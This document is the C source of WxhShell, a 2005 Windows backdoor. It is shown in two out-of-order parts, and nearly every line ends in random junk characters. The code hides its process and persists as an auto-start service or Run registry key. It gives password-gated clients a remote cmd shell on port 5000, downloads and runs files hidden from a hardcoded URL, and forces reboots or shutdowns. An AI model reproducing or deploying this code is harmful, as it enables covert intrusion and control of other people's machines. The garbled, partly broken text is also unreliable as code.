    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -pX|U~a[  
    else { z"qv  
    closesocket(wsh); SJ[AiHR  
    ExitThread(0); <i7agEdZD  
    } /&QQ p3  
    break; kxy]vH6m  
    } &%:*\_2s  
  // 获取shell I4ctxMVP  
  case 's': { < 4$YO-:E  
    CmdShell(wsh); g z`*|h  
    closesocket(wsh); 3FY_A(+  
    ExitThread(0); u#!GMZJN  
    break; ' 3VqkQ4  
  } @ AggznA8  
  // 退出 z.j4tc9F/5  
  case 'x': { wO!% q[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PS/W h  
    CloseIt(wsh); /pU|ZA.z'2  
    break; jQs*(=ls  
    } %xpd(&)n  
  // 离开 j`hNZ%a  
  case 'q': { #AvEH=:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7 y>(H<^>  
    closesocket(wsh); :r-.r"[m-  
    WSACleanup(); mCK],TOA:  
    exit(1); h-,?a_  
    break; 9PCa*,  
        } XK3!V|y`  
  } ]p\u$VY9  
  } HoV{Uzm  
O&52o]k5l  
  // 提示信息 ,b4~!V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i<Q& D\Pv  
} g@}6N.]#  
  } S_j1=6 #^  
+`9yZOaC#  
  return; Pm;I3r=R\  
} l_ZO^E~D_  
wn{]#n=|l  
// shell模块句柄 nrF!;:x  
int CmdShell(SOCKET sock) U(P:Je  
{ 1O23"o5=  
STARTUPINFO si; sl%#u9r=  
ZeroMemory(&si,sizeof(si)); tr5'dX4]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G~`'E&/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YK7\D:  
PROCESS_INFORMATION ProcessInfo; cNx \&vpd  
char cmdline[]="cmd"; TG4^_nRl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 48:liR  
  return 0; Q|Nzbmwh  
} )G^p1o;\  
A0UV+ -PP  
// 自身启动模式 "2%y~jrDN  
int StartFromService(void) t[/\KG8  
{ x<Iy<v7-  
typedef struct ,cPkx~w0  
{ xSx&79Ez<*  
  DWORD ExitStatus; k"5`:qL  
  DWORD PebBaseAddress; 8NxUx+]  
  DWORD AffinityMask; 5"$e=y/  
  DWORD BasePriority; %-\FVKX  
  ULONG UniqueProcessId; >eEnQ}Y  
  ULONG InheritedFromUniqueProcessId; 3_C98ClE  
}   PROCESS_BASIC_INFORMATION; SQKi2\8w  
~d&'Lp[3  
PROCNTQSIP NtQueryInformationProcess; 0 -!?W  
?<Z)*CF)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9) jo7,VM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y9=t;qH@|  
)nJzSN=>$  
  HANDLE             hProcess; eSJAPU(D  
  PROCESS_BASIC_INFORMATION pbi; sN"p5p  
$  9S>I'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D7EXqo  
  if(NULL == hInst ) return 0; (_s;aK  
!?S5IGLOj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '_k>*trV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x`Vy<h 33  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F19;RaP+  
?OdV1xB  
  if (!NtQueryInformationProcess) return 0; 0W;q!H[G  
jkZ_c!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PG\\V$}A(  
  if(!hProcess) return 0; h_AJI\{"  
jG =(w4+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ewa[Y=+tx  
( P  
  CloseHandle(hProcess); aIQrb  
0Ddn@!J*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X@i+&Nv"<  
if(hProcess==NULL) return 0;  =|^X$H  
yW%&_s0  
HMODULE hMod; 5JO[+>  
char procName[255]; =%Q\*xaR.W  
unsigned long cbNeeded; p Z0=  
V#p G; ,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j7QBU  
RmcYa j^=  
  CloseHandle(hProcess); Tbe_x s^  
cZPbD;e:  
if(strstr(procName,"services")) return 1; // 以服务启动 E6,`Ld;c[  
rdORNlK&  
  return 0; // 注册表启动 ['/;'NhdlY  
} 3FGbQ_  
& gY;`*<  
// 主模块 pA*D/P-  
int StartWxhshell(LPSTR lpCmdLine) l*~"5f03  
{ $ iX^p4v  
  SOCKET wsl; }~7H2d);-  
BOOL val=TRUE; {KF7j63  
  int port=0; L-^# 02  
  struct sockaddr_in door; V`WI"HO+  
!O 0ZD4/{4  
  if(wscfg.ws_autoins) Install(); oA(. vr  
*O2^{ C  
port=atoi(lpCmdLine); }`+O$0A  
n,C D4Nv  
if(port<=0) port=wscfg.ws_port; ^hQ:A4@q  
jrDz7AfA  
  WSADATA data; =g{_^^n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QT7w::ht  
[X0k{FR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^4n2 -DvG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3MS3O.0]/  
  door.sin_family = AF_INET; BZ]&uD|f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u!=]zW%  
  door.sin_port = htons(port); WyKUvVi  
ucIVVT(u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *Y| lO  
closesocket(wsl); nOA ,x  
return 1; K8yWg\K  
} >=Rd3dgDG  
8eg2o$k_,#  
  if(listen(wsl,2) == INVALID_SOCKET) { z|t.y.JX  
closesocket(wsl); ;XD>$t@  
return 1; f~n' Ki+'  
} `<]P"G  
  Wxhshell(wsl); (hD X4;4  
  WSACleanup(); _*OaiEL+:  
aufcd57  
return 0; %8bFQNd  
/NPl2\o.  
} ~m,mvRS  
MY0[Oq cm=  
// 以NT服务方式启动 UgOGBj,&5W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,d/CU  
{ S4@117z5  
DWORD   status = 0; yKX:Z4I/  
  DWORD   specificError = 0xfffffff; T1g:gfw@  
rm7*l<v6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *YiD B?Si  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }RC. Q`b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @E&X &F%  
  serviceStatus.dwWin32ExitCode     = 0; XY$cx~  
  serviceStatus.dwServiceSpecificExitCode = 0; .{-iq(3  
  serviceStatus.dwCheckPoint       = 0; ~@a) E+LsF  
  serviceStatus.dwWaitHint       = 0; P~b%;*m}8  
@n ~ND).  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'xu7AKpU)  
  if (hServiceStatusHandle==0) return; g:@Cg.q8  
DcFV^8O&  
status = GetLastError(); _S%OX_UMn^  
  if (status!=NO_ERROR) (<5'ceF )X  
{ <9MQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <+mO$0h"r  
    serviceStatus.dwCheckPoint       = 0; 7@e[:>e  
    serviceStatus.dwWaitHint       = 0; p!rG PyGC  
    serviceStatus.dwWin32ExitCode     = status; MRxo|A{  
    serviceStatus.dwServiceSpecificExitCode = specificError; `"bRjC"f]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q(${jz4w  
    return; Ay[9k=q]  
  } R,(+NT$  
+wPvQKVfI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +@<^i?ale  
  serviceStatus.dwCheckPoint       = 0; $yxIE}  
  serviceStatus.dwWaitHint       = 0; v~W6yjp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <iY 9cV|}3  
} ;#Crh}~  
:u|UVp5  
// 处理NT服务事件,比如:启动、停止 pqNoL* H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sV Z}nq{  
{ I{X@<o}  
switch(fdwControl) ./5MsHfbxt  
{ .bY1N5=sz  
case SERVICE_CONTROL_STOP: C9^elcdv  
  serviceStatus.dwWin32ExitCode = 0; *< SU_dAh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #f jX|b  
  serviceStatus.dwCheckPoint   = 0; )Lv6vnT>  
  serviceStatus.dwWaitHint     = 0; z<C~DH  
  { _tg3%X]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lfI7&d*  
  } *^&iw$Qx3  
  return; 9BgQ oK@  
case SERVICE_CONTROL_PAUSE: mhHm#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R}=]UOqH-  
  break; fjeE.  
case SERVICE_CONTROL_CONTINUE: s*A|9u f5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4tN~UMw?  
  break; @tU>~y{E  
case SERVICE_CONTROL_INTERROGATE: X#\P.$  
  break; :fMM-?s]  
}; rO2PbF3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7C 6BZ$(  
} }e;p8)]Wl  
=*O9)$b  
// 标准应用程序主函数 s t3]Yy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~NJLS-  
{ rt4|GVa  
s13 d*  
// 获取操作系统版本 ,hcBiL/  
OsIsNt=GetOsVer(); '\3.isTsx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'XjHB!!hU  
hrtN.4p[  
  // 从命令行安装 :O2v0Kx  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]`+"o[  
Ub-k<]yZ  
  // 下载执行文件 lVK F^-i  
if(wscfg.ws_downexe) { A_dYN?^?|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8C4@V[sm`  
  WinExec(wscfg.ws_filenam,SW_HIDE); @zpHem dB  
} _KlPbyLU  
~o\]K  
if(!OsIsNt) { cVt$#A)  
// 如果时win9x,隐藏进程并且设置为注册表启动 P|QnZ){  
HideProc(); k@X As  
StartWxhshell(lpCmdLine); :r[-7 [/  
} L?pvz}  
else 'G By^hj?  
  if(StartFromService()) )I1V 2k$n  
  // 以服务方式启动 =dJEcC_J  
  StartServiceCtrlDispatcher(DispatchTable); .m % x-i  
else 6(Rq R  
  // 普通方式启动 MDXQj5s^  
  StartWxhshell(lpCmdLine); PfMOc+ q  
7B>cmi  
return 0; |x~ei_x7.p  
} _O'rZ5}&  
{s^n|b}  
DL/*t.)"et  
SF}L3/C&h  
=========================================== D_`)T;<Sp  
LHGK!zI  
z K]%qv]  
+vY`?k`  
K LM^O$=  
AI`1N%Owi  
" e2H'uMy;&  
!!Gi.VL  
#include <stdio.h> {d5ur@G1  
#include <string.h> BB}iBf I'  
#include <windows.h> +/ d8d  
#include <winsock2.h> 2tTV5,(1  
#include <winsvc.h> ^.aEKr  
#include <urlmon.h> >WG91b<Xq  
+]2~@=<@  
#pragma comment (lib, "Ws2_32.lib") MkIO0&0O  
#pragma comment (lib, "urlmon.lib") rAi!'vIE  
mCP +7q7  
#define MAX_USER   100 // 最大客户端连接数 '48|f`8$  
#define BUF_SOCK   200 // sock buffer 8Y kH  
#define KEY_BUFF   255 // 输入 buffer |zegnq~  
# SOj4W  
#define REBOOT     0   // 重启 5s2}nIe  
#define SHUTDOWN   1   // 关机 I;PO$T  
3B]+]e~  
#define DEF_PORT   5000 // 监听端口 jT_Tx\k  
&Fr68HNmj  
#define REG_LEN     16   // 注册表键长度 <\Dl#DH  
#define SVC_LEN     80   // NT服务名长度 GeR -k9  
K":tr~V;  
// 从dll定义API s%re>)=|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UmMYe4LQR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G\+MT(&5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <cd%n-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (4gQe6tA  
dQoMAsxzM  
// wxhshell配置信息 (B4 A$t  
struct WSCFG { /-9+(  
  int ws_port;         // 监听端口 eyp\h8!u_  
  char ws_passstr[REG_LEN]; // 口令 1T^L) %&p_  
  int ws_autoins;       // 安装标记, 1=yes 0=no JHOBg{Wg  
  char ws_regname[REG_LEN]; // 注册表键名  PW\FcT  
  char ws_svcname[REG_LEN]; // 服务名 J:!Gf^/)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X Ow^"=Oa[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P_Ja?)GT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3S21DC@Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YuuG:Kk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QE6-(/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 / 1@m#ZxA:  
X64I~*  
}; 0p2O8>w^%  
O c3%pb;  
// default Wxhshell configuration {:j!@w3  
struct WSCFG wscfg={DEF_PORT, +=xRr?F  
    "xuhuanlingzhe", s:.XF|e{  
    1, qOanu  
    "Wxhshell", 9`VF [* 9  
    "Wxhshell", @_Oe`j^  
            "WxhShell Service", ]@g$<&  
    "Wrsky Windows CmdShell Service", dQ"W~ig  
    "Please Input Your Password: ", gx.]4 v  
  1, - C]a2  
  "http://www.wrsky.com/wxhshell.exe", Q";eyYdOL  
  "Wxhshell.exe" S :|*wB  
    }; T`G"2|ISS  
s&hP^tKT  
// 消息定义模块 jv^ L~<u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f.CI.aozW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g0$k_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =f|a?j,f~  
char *msg_ws_ext="\n\rExit."; S,>n'r[  
char *msg_ws_end="\n\rQuit."; BGjTa.&  
char *msg_ws_boot="\n\rReboot..."; WHT%m|yn  
char *msg_ws_poff="\n\rShutdown..."; a VMFjkW  
char *msg_ws_down="\n\rSave to "; |}Lgo"cTC  
!Z)^c&  
char *msg_ws_err="\n\rErr!"; b DvbM  
char *msg_ws_ok="\n\rOK!"; ^!tI+F{n{  
.k(_ j.v  
char ExeFile[MAX_PATH]; }e@-[RJ!  
int nUser = 0; .`RC,R`C  
HANDLE handles[MAX_USER]; X"GQ^]$O  
int OsIsNt; ApBThW *E  
N$b;8F  
SERVICE_STATUS       serviceStatus; oa7Hx<Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f ebh1rUX  
S!cXc/H-R  
// 函数声明 I-hhHm<@  
int Install(void); s]>%_(5  
int Uninstall(void); 1\kehCt  
int DownloadFile(char *sURL, SOCKET wsh); PTqS L]  
int Boot(int flag); U0T N8O}Z  
void HideProc(void); )T_ #X!  
int GetOsVer(void); .9 QQ]fLs  
int Wxhshell(SOCKET wsl); n-Y'LK40Os  
void TalkWithClient(void *cs); *5)!y d  
int CmdShell(SOCKET sock); ?8/h3xV;  
int StartFromService(void); _XPc0r:?>  
int StartWxhshell(LPSTR lpCmdLine); 9m!fW|4  
z w9r0bG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |SleSgS<#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b5R*]  
 (v}:  
// 数据结构和表定义 Zv93cv  
SERVICE_TABLE_ENTRY DispatchTable[] = TQH#sx  
{ \:7EKzQ  
{wscfg.ws_svcname, NTServiceMain}, _Ohq'ZgXm  
{NULL, NULL} aoS1Yt'@  
}; sxtGl^,mU:  
] ={Hq9d@  
// 自我安装 xcA:Q`c.{  
int Install(void) 7m:,-xp  
{ ;;5i'h~?]J  
  char svExeFile[MAX_PATH]; 8E{>czF"  
  HKEY key; ks$G6WC  
  strcpy(svExeFile,ExeFile); DAi[3`C  
N 5DS-gv  
// 如果是win9x系统,修改注册表设为自启动 H2vEFnV  
if(!OsIsNt) { kF .b)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R#M).2::  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8b!_b2Za  
  RegCloseKey(key); 0b 'R5I.M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a6_`V;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Vb{QOgc;  
  RegCloseKey(key); Viw3 /K  
  return 0; aT#|mk=\  
    } +l(}5(wc  
  } [G*mQ@G9  
} &@+; ]t  
else { Sy~1U  
$)!Z"2T  
// 如果是NT以上系统,安装为系统服务 0sa EcJ-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |*i-Q @ D  
if (schSCManager!=0) ZtDpCl_  
{ ^(R gSMuT`  
  SC_HANDLE schService = CreateService om6R/K  
  ( 6s;x@g]  
  schSCManager, ; ]!  
  wscfg.ws_svcname, }: e9\r)  
  wscfg.ws_svcdisp, ;f Gi5=-  
  SERVICE_ALL_ACCESS, bkTj Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p WHu[Fu  
  SERVICE_AUTO_START, 0ZN/-2c A#  
  SERVICE_ERROR_NORMAL, `Ec+i  
  svExeFile, g=Lt 2UIJ  
  NULL, , utFCZW  
  NULL, Y i`.zm  
  NULL, yr?\YKV)I  
  NULL, c@`P{ 6  
  NULL ff0,K#-  
  ); \=)h6AG  
  if (schService!=0) *6L^A`_1]  
  { _17"T0  
  CloseServiceHandle(schService); tr Ls4o,  
  CloseServiceHandle(schSCManager); m\yO/9{h1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J7ln6Y  
  strcat(svExeFile,wscfg.ws_svcname); 5> UgBA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {8Ll\j@ "  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @p;4g_F  
  RegCloseKey(key); aO1cd_d6x_  
  return 0; ZfU_4Pl->  
    } a$ }^z  
  } C;` fOCz^  
  CloseServiceHandle(schSCManager); |@RO&F  
} rYl37.QE  
} 6C:Lq%}  
 (c"!0v  
return 1; pyKMi /)bL  
} myXV~6R 3  
})B)-8  
// 自我卸载 7Do)++t  
int Uninstall(void) 0:*$i(2  
{ u8*0r{kOH  
  HKEY key; =LRUasF  
yAOC<d9 E  
if(!OsIsNt) { (\j<`"n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vzL>ZBe Z  
  RegDeleteValue(key,wscfg.ws_regname); jVDNThm+  
  RegCloseKey(key); -}%zus5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ep5aBrN]"  
  RegDeleteValue(key,wscfg.ws_regname); 4{|lzo'&  
  RegCloseKey(key); 2rxdRg'YLQ  
  return 0; ;(V=disU/  
  } `fs[C  
} )~6974  
} +=R:n^r^,  
else { jV(IS D  
M`(xAVl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A)xI. Q6  
if (schSCManager!=0) -&c@c@dC  
{ I ?1E}bv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SV.*Z|"^N  
  if (schService!=0) 8]O|$8'"  
  { |:\h3M  
  if(DeleteService(schService)!=0) { E$cr3 t7Xy  
  CloseServiceHandle(schService); -$7Jc=:>  
  CloseServiceHandle(schSCManager); thh, V   
  return 0; )YZ41K5N  
  } ;j$84o{  
  CloseServiceHandle(schService); 1yhx)m;f  
  } ?mV[TM{p  
  CloseServiceHandle(schSCManager); }Eav@3h6  
} @t_<oOI2  
} \R~Lf+q  
Ct B> s7  
return 1; !%Ak15o  
} |aZ^K\yIF  
j1BYSfX'  
// 从指定url下载文件 @y,p-##e  
int DownloadFile(char *sURL, SOCKET wsh) .8"o&%$`V  
{ 9`xq3EL2T  
  HRESULT hr; Qwb@3{  
char seps[]= "/"; @-hy:th#  
char *token; Ss8`;>  
char *file; m_pK'jc  
char myURL[MAX_PATH]; b^v.FK46G  
char myFILE[MAX_PATH]; ar6Z?v$  
U*-%V$3+w5  
strcpy(myURL,sURL); s#4 "f  
  token=strtok(myURL,seps); 2W}RXqV<  
  while(token!=NULL) =%a.C(0&G  
  { }RD,JgmV  
    file=token; 7|{QAv  
  token=strtok(NULL,seps); n44j]+P  
  } P?bdjU#_n`  
`aCcTs7~]p  
GetCurrentDirectory(MAX_PATH,myFILE); &B))3WFy  
strcat(myFILE, "\\"); &=f%(,+  
strcat(myFILE, file); 3m x7[Q  
  send(wsh,myFILE,strlen(myFILE),0); ;N)qNiJY  
send(wsh,"...",3,0); v'|Dj^3[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aUd6 33  
  if(hr==S_OK) [ P 8e=;  
return 0; Cu0/TeEM  
else d~.#KS  
return 1; &)rmv  
towQoqv  
} Z rvb %  
9;:Lf  
// 系统电源模块 #KiRH* giU  
int Boot(int flag) \wTW hr0  
{ I+}h+[W  
  HANDLE hToken; ,#s}nJ4  
  TOKEN_PRIVILEGES tkp; ](^xA `  
}APf^Ry  
  if(OsIsNt) { Zu5`-[mw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PyIIdTm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rl!c\  
    tkp.PrivilegeCount = 1; A H`6)v<f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c: _l+CgeH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3Y>!e#  
if(flag==REBOOT) { ETYw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J.~$^-&!  
  return 0; :[,n`0lH  
} 0'a.Ypf  
else { la f b^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e5MX5 T^  
  return 0; VNF@)!l  
} 92XzbbLp  
  }  /I="+  
  else { =EFF2M`F  
if(flag==REBOOT) { z~Gi/Ln  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]Rz]"JZ\S  
  return 0; |[C3_'X  
} ij/ |~-!  
else { FhW\23OC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TN(1oJ:  
  return 0; $:SHZe  
} jeC3}BL }  
} @"];\E$sI  
 #\Lt0  
return 1; nCJ)=P.d  
} RY/9Ku `  
mm'Pe4*  
// win9x进程隐藏模块 "\Z.YZUa\  
void HideProc(void) j$siCsF  
{ d_]zX;_  
WM~@/J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qf7 lQovK  
  if ( hKernel != NULL ) 3Jf_3c  
  { &+Xj%x.]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "I}3*s9Q-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;5?$q  
    FreeLibrary(hKernel); 7vubkj&  
  } GeD^-.^  
.e~17}Ka}  
return; V`m'r+ Y  
} 7NE"+EP\{2  
w/#k.YE  
// 获取操作系统版本 ]^$3S  
int GetOsVer(void) h%9#~gJ})  
{ a^>0XXr}Y  
  OSVERSIONINFO winfo; fKb8)PDP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _f8Wa u# "  
  GetVersionEx(&winfo); qlNK }  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :'|%~&J  
  return 1; mbK$_HvU  
  else )OS^tG[=  
  return 0; V'K1kYb  
} |9Q4VY'";  
HM /2/ /  
// 客户端句柄模块 Tq,Kel  
int Wxhshell(SOCKET wsl) 1/:WA:]1 ,  
{ 3dTz$s/[  
  SOCKET wsh; xy5&}_Y  
  struct sockaddr_in client; K!;Z#$iw[  
  DWORD myID; EIPNR:6t  
O4dJ> O  
  while(nUser<MAX_USER) ZF!cXo7d  
{ e3oHe1"hP  
  int nSize=sizeof(client); UJ* D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $F"'= +0  
  if(wsh==INVALID_SOCKET) return 1; JvX]^t/}  
t2uX+1F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CB]#`|f  
if(handles[nUser]==0) \R\?`8O rz  
  closesocket(wsh); FL*qV"r^n  
else dZ K /v  
  nUser++; f~ kz=R=  
  } 38#BINhBt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DybuLB$f  
xkV(E!O  
  return 0; 589hfET  
} yyB;'4Af  
p8,Rr{  
// 关闭 socket ;5Spdi4w  
void CloseIt(SOCKET wsh) iq*]CF  
{ c&me=WD  
closesocket(wsh); @K .{o'  
nUser--; /enlkZx=8  
ExitThread(0); ]wb^5H  
} }@6ws/5  
tqbYrF)  
// 客户端请求句柄 |7ct2o~un  
void TalkWithClient(void *cs) $FXlH;_7  
{ pDqX% $^  
v,]-;V~<  
  SOCKET wsh=(SOCKET)cs; F#Y9 @E  
  char pwd[SVC_LEN]; F#NuZ'U  
  char cmd[KEY_BUFF]; ~;$,h ET  
char chr[1]; *Cf5D6=Q  
int i,j; ~j3O0s<gK  
89n\$7Ff9  
  while (nUser < MAX_USER) { t@r>GHO  
lgrD~Y (x  
if(wscfg.ws_passstr) { mk.1jx ?l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6.5E d-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lidVe]>  
  //ZeroMemory(pwd,KEY_BUFF); m-?hHd O  
      i=0; [~_)]"pU  
  while(i<SVC_LEN) { dmA#v:$1  
t^Z-0jH  
  // 设置超时 (-S\%,hO  
  fd_set FdRead; %vn"tp  
  struct timeval TimeOut; HE!"3S2S&+  
  FD_ZERO(&FdRead); oD<aWZ"Z  
  FD_SET(wsh,&FdRead); a=_+8RyVQ  
  TimeOut.tv_sec=8; !U::kr=t  
  TimeOut.tv_usec=0; lC.Q61J@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (>]frlEU~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ob!NC&  
nIZ;N!r=i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wCQ.?*7-9Q  
  pwd=chr[0]; qkXnpv  
  if(chr[0]==0xd || chr[0]==0xa) { ~cr##Ff 5  
  pwd=0; (}B3df  
  break; s#cb wDT  
  } d!57`bVOd  
  i++; _p*a`,tK  
    } kF]sy8u]  
+-X 6 8`  
  // 如果是非法用户,关闭 socket x&p.-Fi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5nV IC3N+1  
} 8yCt(ms  
)B*D\9\Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k%D|17I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v_|k:l  
<#nt?Xn  
while(1) { <>v=jH|L  
"%(SLQOyy  
  ZeroMemory(cmd,KEY_BUFF); Lm&BT)*  
D?.H|%  
      // 自动支持客户端 telnet标准   F:7 d}Jx  
  j=0; 1S+lHG92I  
  while(j<KEY_BUFF) { ]Z IreI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '[Zgwz;z  
  cmd[j]=chr[0]; lxsn(- j  
  if(chr[0]==0xa || chr[0]==0xd) { @#r6->%W  
  cmd[j]=0; F,8?du]  
  break; utu V'5GD  
  } 8AVtUU  
  j++; -bd'sv  
    } yQcIfl]f  
^]5^p9Jt"e  
  // 下载文件 p!o-+@ava  
  if(strstr(cmd,"http://")) { oNhCa>)/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1K#%mV_  
  if(DownloadFile(cmd,wsh)) Y(RB@+67  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7!F -.kG  
  else "l 8YD&q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tdsfCvF= a  
  } gb{8SG5ac  
  else { 5pU/X.lc  
dI+Y1Vq  
    switch(cmd[0]) { dOT7;@   
